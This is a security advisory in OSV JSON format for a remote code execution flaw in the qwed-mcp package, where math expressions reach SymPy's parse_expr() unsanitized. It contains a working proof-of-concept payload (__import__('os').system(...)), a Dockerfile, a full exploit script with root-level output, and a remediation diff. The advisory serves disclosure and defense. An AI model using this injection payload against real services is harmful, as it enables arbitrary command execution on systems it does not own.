{"id":"PYSEC-2026-3915","summary":"qwed-mcp has Unsafe SymPy `parse_expr()` Remote Code Execution via Unsanitized Math Expression Input","details":"### Summary\n\n`verify_math_expression()` in `qwed-mcp` v0.2.0 passes attacker-controlled strings directly to SymPy's `parse_expr()` without restricting `global_dict` or validating the expression's AST. Because `parse_expr()` internally calls `eval()` and Python automatically injects the current module's `__builtins__` when no explicit restriction is set, an attacker can embed arbitrary Python expressions — including `__import__('os').system(...)` — to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required.\n\n### Details\n\nThe vulnerability resides in `src/qwed_mcp/engines/math_engine.py`. The public function `verify_math_expression(expression, claimed_result, operation)` accepts both the `expression` and `claimed_result` arguments as raw strings and passes them — after a trivial `^` → `**` substitution — to `sympy.parsing.sympy_parser.parse_expr()`:\n\n```python\n# math_engine.py:50-54\nexpr = parse_expr(\n    expression.replace(\"^\", \"**\"),\n    local_dict={\"x\": x, \"y\": y, \"z\": z, \"pi\": pi, \"e\": E},\n    transformations=transformations\n)\n```\n\n```python\n# math_engine.py:64-68\nclaimed = parse_expr(\n    claimed_result.replace(\"^\", \"**\"),\n    local_dict={\"x\": x, \"y\": y, \"z\": z, \"pi\": pi, \"e\": E},\n    transformations=transformations\n)\n```\n\n`local_dict` only adds math symbols to the evaluation namespace; it does **not** remove `__builtins__`. SymPy's `parse_expr()` eventually calls Python's built-in `eval()`, which — absent an explicit `{\"__builtins__\": {}}` in `global_dict` — receives the full built-in namespace. This makes `__import__`, `open`, `exec`, and every other Python built-in available to the evaluated expression.\n\nThere is no allowlist, AST pre-validation, or sandboxing applied at any point before the `parse_expr()` calls (lines 50 and 64).\n\nData flow:\n\n1. **Source** — `math_engine.py:13-16`: external caller supplies `expression` and `claimed_result`.\n2. **Propagation** — `math_engine.py:50-54`: `expression` substituted and forwarded to `parse_expr()`.\n3. **Propagation** — `math_engine.py:64-68`: `claimed_result` substituted and forwarded to `parse_expr()`.\n4. **Sink** — `sympy.parsing.sympy_parser.parse_expr()`: calls `eval()` with unrestricted `__builtins__`.\n\n### PoC\n\n**Environment setup**\n\n```bash\n# Clone the repository at the affected commit\ngit clone https://github.com/QWED-AI/qwed-mcp\ncd qwed-mcp\ngit checkout 54ac682699407310b5a71fbaed8c33f581b84301\n\n# Option A — direct Python\npython3 -m venv /tmp/qwed-mcp-venv\nsource /tmp/qwed-mcp-venv/bin/activate\npip install sympy\u003e=1.12\n\n# Option B — Docker (used for Phase 2 verification)\ndocker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi_1775_QWED-AI__qwed-mcp\ndocker run --rm vuln001-rce\n```\n\n**Exploit input**\n\n```python\nimport importlib.util, sys, os\n\nspec = importlib.util.spec_from_file_location(\n    \"qwed_mcp.engines.math_engine\",\n    \"src/qwed_mcp/engines/math_engine.py\"\n)\nmod = importlib.util.module_from_spec(spec)\nsys.modules[\"qwed_mcp.engines.math_engine\"] = mod\nspec.loader.exec_module(mod)\nverify_math_expression = mod.verify_math_expression\n\npayload = \"__import__('os').system('id \u003e /tmp/vuln001_rce_output.txt && hostname \u003e\u003e /tmp/vuln001_rce_output.txt && touch /tmp/vuln001_rce_marker')\"\nverify_math_expression(payload, \"0\")\n\nprint(\"marker_exists:\", os.path.exists(\"/tmp/vuln001_rce_marker\"))\nwith open(\"/tmp/vuln001_rce_output.txt\") as f:\n    print(f.read())\n```\n\n**Expected output (Phase 2 Docker observation)**\n\n```\n[+] *** EXPLOIT SUCCESSFUL ***\n[+] Marker file present : /tmp/vuln001_rce_marker\n[+] RCE command output  :\n--- BEGIN OUTPUT ---\nuid=0(root) gid=0(root) groups=0(root)\n2d2fe45d37b6\n--- END OUTPUT ---\n\n[RESULT] PASS — deterministic RCE evidence observed inside container\n```\n\nThe marker file `/tmp/vuln001_rce_marker` is created and `id` output confirms execution as root with no patches, flags, or privileged configuration required.\n\n**Remediation**\n\nApply AST allowlisting and restrict `global_dict` before every `parse_expr()` call:\n\n```diff\n--- a/src/qwed_mcp/engines/math_engine.py\n+++ b/src/qwed_mcp/engines/math_engine.py\n import logging\n+import ast\n from typing import Optional\n\n+ALLOWED_NAMES = {\"x\", \"y\", \"z\", \"pi\", \"e\"}\n+ALLOWED_FUNCS = {\"sqrt\", \"sin\", \"cos\", \"exp\", \"log\"}\n+ALLOWED_AST = (\n+    ast.Expression, ast.BinOp, ast.UnaryOp, ast.Call, ast.Name, ast.Load,\n+    ast.Constant, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Pow, ast.Mod,\n+    ast.USub, ast.UAdd,\n+)\n+\n+def _validate_math_syntax(expr: str) -\u003e None:\n+    tree = ast.parse(expr.replace(\"^\", \"**\"), mode=\"eval\")\n+    for node in ast.walk(tree):\n+        if not isinstance(node, ALLOWED_AST):\n+            raise ValueError(f\"Unsupported syntax: {type(node).__name__}\")\n+        if isinstance(node, ast.Name) and node.id not in ALLOWED_NAMES | ALLOWED_FUNCS:\n+            raise ValueError(f\"Unsupported symbol: {node.id}\")\n+        if isinstance(node, ast.Call):\n+            if not isinstance(node.func, ast.Name) or node.func.id not in ALLOWED_FUNCS:\n+                raise ValueError(\"Only approved math functions are allowed\")\n+        if isinstance(node, ast.Constant) and not isinstance(node.value, (int, float)):\n+            raise ValueError(\"Only numeric constants are allowed\")\n+\n+safe_globals = {\"__builtins__\": {}}\n+\n-            expr = parse_expr(\n+            _validate_math_syntax(expression)\n+            expr = parse_expr(\n                 expression.replace(\"^\", \"**\"),\n                 local_dict={\"x\": x, \"y\": y, \"z\": z, \"pi\": pi, \"e\": E},\n+                global_dict=safe_globals,\n                 transformations=transformations\n             )\n-            claimed = parse_expr(\n+            _validate_math_syntax(claimed_result)\n+            claimed = parse_expr(\n                 claimed_result.replace(\"^\", \"**\"),\n                 local_dict={\"x\": x, \"y\": y, \"z\": z, \"pi\": pi, \"e\": E},\n+                global_dict=safe_globals,\n                 transformations=transformations\n             )\n```\n\n### Impact\n\nAny caller that passes attacker-controlled input to `verify_math_expression()` or any future MCP tool registration that exposes this function over a network interface is fully compromised. An attacker can:\n\n- Execute arbitrary OS commands as the process user (demonstrated as root in Phase 2).\n- Read, write, or delete files accessible to the process.\n- Exfiltrate secrets (API keys, environment variables, credentials) from the process environment.\n- Pivot to internal services reachable from the host.\n\nThe function is part of the public PyPI package `qwed-mcp`. Any downstream library consumer or service that wraps `verify_math_expression()` with user-supplied input is affected without additional configuration. While v0.2.0's default MCP tool registry does not expose this function as a registered tool, the library API is directly importable and exploitable by any code that calls it.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nLABEL vuln=\"VULN-001\" \\\n      title=\"Unsafe SymPy parse_expr() RCE\" \\\n      cwe=\"CWE-94\" \\\n      target=\"QWED-AI/qwed-mcp@0.2.0\"\n\nWORKDIR /app\n\n# Copy only the package source tree from the cloned repo.\n# math_engine.py only imports sympy at runtime; full project deps\n# (qwed-finance, qwed-ucp, mcp, z3-solver, etc.) are NOT needed for this PoC.\nCOPY repo/src /app/src\n\n# Install the single runtime dependency used by the vulnerable module.\nRUN pip install --no-cache-dir \"sympy\u003e=1.12\"\n\n# Copy the proof-of-concept script.\nCOPY vuln-001/poc.py /app/poc.py\n\n# Make qwed_mcp importable via the local source tree.\nENV PYTHONPATH=/app/src\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nVULN-001 Proof of Concept\n=========================\nTarget  : QWED-AI/qwed-mcp v0.2.0\nModule  : src/qwed_mcp/engines/math_engine.py\nFunction: verify_math_expression(expression, claimed_result, operation)\n\nRoot cause\n----------\nverify_math_expression() passes attacker-controlled strings directly to\nsympy.parsing.sympy_parser.parse_expr() without restricting global_dict.\nparse_expr() ultimately calls eval() with SymPy's namespace as globals.\nBecause that namespace does not set __builtins__ to {}, Python injects the\ncurrent module's builtins automatically, making __import__ available.\n\nAttack\n------\nInject a Python expression as the 'expression' or 'claimed_result' argument:\n    __import__('os').system('\u003cshell command\u003e')\n\nThe system() call executes before parse_expr() tries to interpret the return\nvalue as a SymPy expression.\n\nExpected evidence of exploitation\n----------------------------------\n1. /tmp/vuln001_rce_marker  is created inside the container.\n2. /tmp/vuln001_rce_output.txt contains the output of `id` and `hostname`.\n3. The script exits 0; any other exit code means exploitation failed.\n\"\"\"\n\nimport os\nimport sys\n\n\nMARKER_FILE = \"/tmp/vuln001_rce_marker\"\nOUTPUT_FILE = \"/tmp/vuln001_rce_output.txt\"\n\n\ndef run_poc() -\u003e bool:\n    \"\"\"Run the PoC; return True on confirmed exploitation, False otherwise.\"\"\"\n    print(\"=\" * 60)\n    print(\"VULN-001 — Unsafe SymPy parse_expr() RCE — PoC\")\n    print(\"=\" * 60)\n\n    # --- Step 1: import the vulnerable function ---\n    # qwed_mcp/__init__.py pulls in the full MCP server stack (mcp, httpx, etc.).\n    # We load math_engine.py directly via importlib to exercise the vulnerable\n    # module in isolation, exactly as an attacker who calls the library API would.\n    print(\"[*] Importing vulnerable function via importlib (direct module load) ...\")\n    import importlib.util\n    import sys as _sys\n\n    _module_path = \"/app/src/qwed_mcp/engines/math_engine.py\"\n    try:\n        _spec = importlib.util.spec_from_file_location(\n            \"qwed_mcp.engines.math_engine\", _module_path\n        )\n        _mod = importlib.util.module_from_spec(_spec)\n        _sys.modules[\"qwed_mcp.engines.math_engine\"] = _mod\n        _spec.loader.exec_module(_mod)\n        verify_math_expression = _mod.verify_math_expression\n    except Exception as exc:\n        print(f\"[-] Import failed: {exc}\")\n        return False\n    print(f\"[+] verify_math_expression loaded from {_module_path}\")\n\n    # --- Step 2: craft the RCE payload ---\n    # The payload is injected as the `expression` argument.\n    # Shell commands:\n    #   id         — prints current user/uid/gid (confirms arbitrary execution)\n    #   hostname   — prints container hostname (confirms in-container execution)\n    #   touch      — creates a marker file (machine-checkable evidence)\n    shell_cmd = (\n        f\"id \u003e {OUTPUT_FILE} && \"\n        f\"hostname \u003e\u003e {OUTPUT_FILE} && \"\n        f\"touch {MARKER_FILE}\"\n    )\n    payload = f\"__import__('os').system('{shell_cmd}')\"\n    print(f\"\\n[*] Injection payload (expression argument):\\n    {payload}\\n\")\n\n    # --- Step 3: call the vulnerable function ---\n    print(\"[*] Calling verify_math_expression(payload, '0') ...\")\n    result = verify_math_expression(payload, \"0\")\n    print(f\"[*] Return value: {result}\\n\")\n\n    # --- Step 4: verify exploitation evidence ---\n    marker_exists = os.path.exists(MARKER_FILE)\n    output_exists = os.path.exists(OUTPUT_FILE)\n\n    if marker_exists and output_exists:\n        with open(OUTPUT_FILE) as fh:\n            rce_output = fh.read().strip()\n        print(\"[+] *** EXPLOIT SUCCESSFUL ***\")\n        print(f\"[+] Marker file present : {MARKER_FILE}\")\n        print(f\"[+] RCE command output  :\\n--- BEGIN OUTPUT ---\\n{rce_output}\\n--- END OUTPUT ---\")\n        return True\n\n    # Partial evidence (marker only, no output, or vice-versa) still counts.\n    if marker_exists:\n        print(\"[+] *** EXPLOIT SUCCESSFUL (marker only) ***\")\n        print(f\"[+] Marker file present : {MARKER_FILE}\")\n        return True\n\n    print(\"[-] EXPLOIT FAILED — marker file not found\")\n    print(f\"[-] Expected: {MARKER_FILE}\")\n    return False\n\n\ndef main() -\u003e None:\n    success = run_poc()\n    if success:\n        print(\"\\n[RESULT] PASS — deterministic RCE evidence observed inside container\")\n        sys.exit(0)\n    else:\n        print(\"\\n[RESULT] FAIL — could not confirm arbitrary code execution\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```","aliases":["CVE-2026-55546","GHSA-mw6r-2hvm-4rp2"],"modified":"2026-09-10T12:15:12.766578464Z","published":"2026-09-10T09:44:55.568795Z","references":[{"type":"WEB","url":"https://github.com/QWED-AI/qwed-mcp/security/advisories/GHSA-mw6r-2hvm-4rp2"},{"type":"WEB","url":"https://github.com/QWED-AI/qwed-mcp/pull/22"},{"type":"WEB","url":"https://github.com/QWED-AI/qwed-mcp/commit/362e61892052e250c56cb1ee852024d6f98c467b"},{"type":"PACKAGE","url":"https://github.com/QWED-AI/qwed-mcp"},{"type":"WEB","url":"https://github.com/QWED-AI/qwed-mcp/releases/tag/v0.2.1"},{"type":"PACKAGE","url":"https://pypi.org/project/qwed-mcp"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-mw6r-2hvm-4rp2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55546"}],"affected":[{"package":{"name":"qwed-mcp","ecosystem":"PyPI","purl":"pkg:pypi/qwed-mcp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.1"}]}],"versions":["0.1.0"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/qwed-mcp/PYSEC-2026-3915.yaml"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}